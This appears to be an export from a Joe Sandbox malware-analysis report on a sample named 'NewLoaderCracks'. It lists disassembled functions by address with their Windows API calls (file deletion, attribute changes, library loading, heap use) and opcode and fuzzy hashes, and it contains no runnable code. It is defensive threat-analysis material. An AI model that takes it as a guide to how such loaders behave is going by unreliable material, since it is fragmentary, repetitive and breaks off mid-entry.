Opcode Fuzzy Hash: 68bb163910c917cb7fe31bf68e3c6abc9a5f72c5b456ee5c3eb837eeba7d4e0e
Instruction Fuzzy Hash: B401B5713042006BEB34DE29DC49BABBBDDBB85328F14493DB146C3680DA71EC4C9611

Function 00568606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00568627

Part of subcall function 00568518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0056C13D,00000000,?,005667E2,?,00000008,?,005689AD,?,?,?), ref: 0056854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00580F50,0054CE57,?,?,?,?,?,?), ref: 00568663

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 3ea9624109ec23c5ef19817d8e9510f50aeb4129dd51afb84c64fd58fb78c335
Instruction ID: 435724e1470bf643f48795431b929597f140c6f837bf78eac405326b3859f886
Opcode Fuzzy Hash: 3ea9624109ec23c5ef19817d8e9510f50aeb4129dd51afb84c64fd58fb78c335
Instruction Fuzzy Hash: DAF0C23120111666CB312A25EC04A7B3F58BFF27B0F248715F86597291DE70D800A5A5

Function 00550908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00550915
GetProcessAffinityMask.KERNEL32(00000000), ref: 0055091C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: fbd19c8f7dc9f9b53d30e2991171c50a4bf0463731b62c2619660daf0b6a1b1f
Instruction ID: 4072ac389d0656b26428bc40dc6eeabbe0f572c81571890caa380fe51e4f8aec
Opcode Fuzzy Hash: fbd19c8f7dc9f9b53d30e2991171c50a4bf0463731b62c2619660daf0b6a1b1f
Instruction Fuzzy Hash: 9DE09B72A10106ABAF05CAA49C144FB7BBDFB14312710517BAC4AD3145F530DD099660

Function 0054A444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0054A27A,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0054A27A,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A489

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6e35cfe98b9bdd8628a708b1a46f6b8da8102c81bdaffd7ac8f22a4184cf6b3b
Instruction ID: ca3b7da3ab5a582d342be7f5123068d6a73d64a7e2f50ca2c2000ef2f87bb7f3
Opcode Fuzzy Hash: 6e35cfe98b9bdd8628a708b1a46f6b8da8102c81bdaffd7ac8f22a4184cf6b3b
Instruction Fuzzy Hash: 79F0303128020DBBDF115F61DC49FD97B6CBB04395F448051BC8C96161DB76DAA8BA50

Function 0055D573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0055D5A1
SetDlgItemTextW.USER32(00000065,?), ref: 0055D5B8

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: a4e471b4465410fbb37e42bc682760d8bdb234b39a09533bdce545cf28604928
Instruction ID: 0bd246d73bff484057c566e821fe03b3576ebc96bd17d2df09177b2cd48a7ae7
Opcode Fuzzy Hash: a4e471b4465410fbb37e42bc682760d8bdb234b39a09533bdce545cf28604928
Instruction Fuzzy Hash: 00F0EC725003497ADF21AB709C0BFA93F6CF70574AF040996BF04670B2E9716A689771

Function 0054A12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,0054984C,?,?,00549688,?,?,?,?,00571FA1,000000FF), ref: 0054A13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,0054984C,?,?,00549688,?,?,?,?,00571FA1,000000FF), ref: 0054A16C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c850a30ed187cf1252ecc71e2d550874ed1b23a73b5a892e9c5c93155a2e5d80
Instruction ID: f8b22c2d8fc60f377e33cec723e026c2235d90fe323f48e94596ffc7b02d3d10
Opcode Fuzzy Hash: c850a30ed187cf1252ecc71e2d550874ed1b23a73b5a892e9c5c93155a2e5d80
Instruction Fuzzy Hash: B3E09B7958020967DB115F60DC45FE97B5CBB04391F444065BC88C3050DB61DDD8FA50

Function 0055A39D Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00571FA1,000000FF), ref: 0055A3D1
CoUninitialize.COMBASE(?,?,?,?,00571FA1,000000FF), ref: 0055A3D6

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 287851707f6d344fb7f009dfcf29125cb21d2a6b88dfca8931f362d24b0259f2
Instruction ID: 18e04baabc74e68432d0a054cc3e1ca8ef93545a01fa691f30c3347d3e75676b
Opcode Fuzzy Hash: 287851707f6d344fb7f009dfcf29125cb21d2a6b88dfca8931f362d24b0259f2
Instruction Fuzzy Hash: 97F03936618A55EFC7109B4CEC06B19FBA8FB89B20F04436AF81993B61CB746800DB91

Function 0054A194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0054A189,?,005476B2,?,?,?,?), ref: 0054A1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0054A189,?,005476B2,?,?,?,?), ref: 0054A1D1

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4087311d11ff2aff680bd2979131a5e50f3f70459c7aa4571dad92ff625d39ad
Instruction ID: 7d1168d9dc4c77fbf57292bce7483b6256cc0f9470f50c5da4404844f5d72535
Opcode Fuzzy Hash: 4087311d11ff2aff680bd2979131a5e50f3f70459c7aa4571dad92ff625d39ad
Instruction Fuzzy Hash: EEE09B3550011897CB10AB64DC09FD57B5CBB183F1F0041A1FD48D3190D7709D88AAE0

Function 00550085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 005500A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0054EB86,Crypt32.dll,00000000,0054EC0A,?,?,0054EBEC,?,?,?), ref: 005500C2

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 74b3b30a303f4e4058882e77077740522977a6cf95c6d6bd4611a63ad37da81f
Instruction ID: 3287b6563da41e62363dbecbaf2c5aeba959aa22f3d6ac1741db8a02159ef8a8
Opcode Fuzzy Hash: 74b3b30a303f4e4058882e77077740522977a6cf95c6d6bd4611a63ad37da81f
Instruction Fuzzy Hash: F6E0927690112C6ADB209AA4AC0DFD67BACFF19392F0400A6B908D3044DA70DA889BA0

Function 00559B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00559B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00559B37

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 961df4d8de9b9f64f81a37a52a2912b18f2b4e70d397460652da7b8038b5adba
Instruction ID: 201bbedf2c313641c99f1186361ae211dc39a963326851f426df54c6454f64c0
Opcode Fuzzy Hash: 961df4d8de9b9f64f81a37a52a2912b18f2b4e70d397460652da7b8038b5adba
Instruction Fuzzy Hash: 0EE0ED75905218EFDB14DF98E90569ABBE8FB08322F20805BEC9993204D7756E089F91

Function 0056215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 0056329A: try_get_function.LIBVCRUNTIME ref: 005632AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0056217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00562185

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 83b2415420e4a71d7e5ac74e9fe3c688676dbf311c364a1fe178d21c8039fafb
Instruction ID: a5967df538166c5c713a549e5b4b8b13987a3d7ef148467007d14606f29612eb
Opcode Fuzzy Hash: 83b2415420e4a71d7e5ac74e9fe3c688676dbf311c364a1fe178d21c8039fafb
Instruction Fuzzy Hash: CAD0C93964CF07646A9826B4386A5AD2F847AA3BB4FE04B86E6208B5D2EE358145F111

Function 0055DC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 0055DC73
DloadProtectSection.DELAYIMP ref: 0055DC8F

Part of subcall function 0055DE67: DloadObtainSection.DELAYIMP ref: 0055DE77

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: a0443b34529bf0e43141a251894907fea965d561544c56e764221ba0b4a58cb1
Instruction ID: 2ce9f9d93b4757f1608cfc31248783bb818abb6edd9711adb2b9149da7661066
Opcode Fuzzy Hash: a0443b34529bf0e43141a251894907fea965d561544c56e764221ba0b4a58cb1
Instruction Fuzzy Hash: 07D0A932080201AAC230AB10A87A30C7A70B721796F601603A806860E0DBE41C8CE221

Function 005412E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 005412FB
ShowWindow.USER32(00000000), ref: 00541302

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: f0c0b29d33d3a2244a6b968aaa52283dea8e1624e9bc8217d8710745abbcf4d3
Instruction ID: e3c96037a7ab4d0a7332c3894326256e4535ccfe31167c18fad2718d6b6a1c6b
Opcode Fuzzy Hash: f0c0b29d33d3a2244a6b968aaa52283dea8e1624e9bc8217d8710745abbcf4d3
Instruction Fuzzy Hash: CBC01232058200BECB010BB4DC0AD2FBBA8EBA6212F05C908B2A5C0060C238C018EB11

Function 005419A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005419AB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b0d59ca21c3c769606199f08a66a67a8f5ac631901157785394110dfddcc2af1
Instruction ID: c21c4918da97dbebf6d28eb5df7fb9ba2210cd857968ba37abde9cd2a92451ed
Opcode Fuzzy Hash: b0d59ca21c3c769606199f08a66a67a8f5ac631901157785394110dfddcc2af1
Instruction Fuzzy Hash: 1FC1C170A04A449FEF15CF68C888BE97FA5FF46318F0844B9DC459B286CB319D84DB69

Function 00543B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00543B42

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 967b1eb18aa7fdcb8a6187dc4bd443b0c3e9384fbd8934288a88b7fb3be2bbd6
Instruction ID: e72252529e34a13b25be2cb810fe791bfa94b4fa1152ba7e8234e7905ba6a467
Opcode Fuzzy Hash: 967b1eb18aa7fdcb8a6187dc4bd443b0c3e9384fbd8934288a88b7fb3be2bbd6
Instruction Fuzzy Hash: B4711070500F45AECB25DB30CC95AE7BFE8BF54305F44482EE5AB47252DA316A48CF10

Function 0054837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00548384

Part of subcall function 00541380: __EH_prolog.LIBCMT ref: 00541385
Part of subcall function 00541380: new.LIBCMT ref: 005413FE

Part of subcall function 005419A6: __EH_prolog.LIBCMT ref: 005419AB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a3d3495cc1f606dbbd338cb58041c44b710386080464cf554b6dc63d2e672f2e
Instruction ID: f9e8942802da7c134dcb134add8c03ad5a60b5aaa74052dd0eb980e9856770eb
Opcode Fuzzy Hash: a3d3495cc1f606dbbd338cb58041c44b710386080464cf554b6dc63d2e672f2e
Instruction Fuzzy Hash: 754183319406559ADF24DB60C859BFE7BB8BF90308F0444EAE58A97092DF745AC8DB50

Function 00541E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00541E05

Part of subcall function 00543B3D: __EH_prolog.LIBCMT ref: 00543B42

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d27f9fadf331dc7110eeb65a5c797d5d717b888196810814562dffdc353e43bb
Instruction ID: b47432679cb45fafb6926985245852a1bb6ab9e152727fad62950f3fb48d93cd
Opcode Fuzzy Hash: d27f9fadf331dc7110eeb65a5c797d5d717b888196810814562dffdc353e43bb
Instruction Fuzzy Hash: 592159319045099FCF11EF98D955AEEFFF9BF98304B10046EE845A3251CB325E54CB68

Function 0055A7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0055A7C8

Part of subcall function 00541380: __EH_prolog.LIBCMT ref: 00541385
Part of subcall function 00541380: new.LIBCMT ref: 005413FE

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c4aa395e13df6ce71a91139a36b2c8d0b598c8ebbeac28566e4c0d17dc000a0a
Instruction ID: c832b5b9c05302c6953f99671f237cdc50f0734ccd109d3e8d64cabe532b749a
Opcode Fuzzy Hash: c4aa395e13df6ce71a91139a36b2c8d0b598c8ebbeac28566e4c0d17dc000a0a
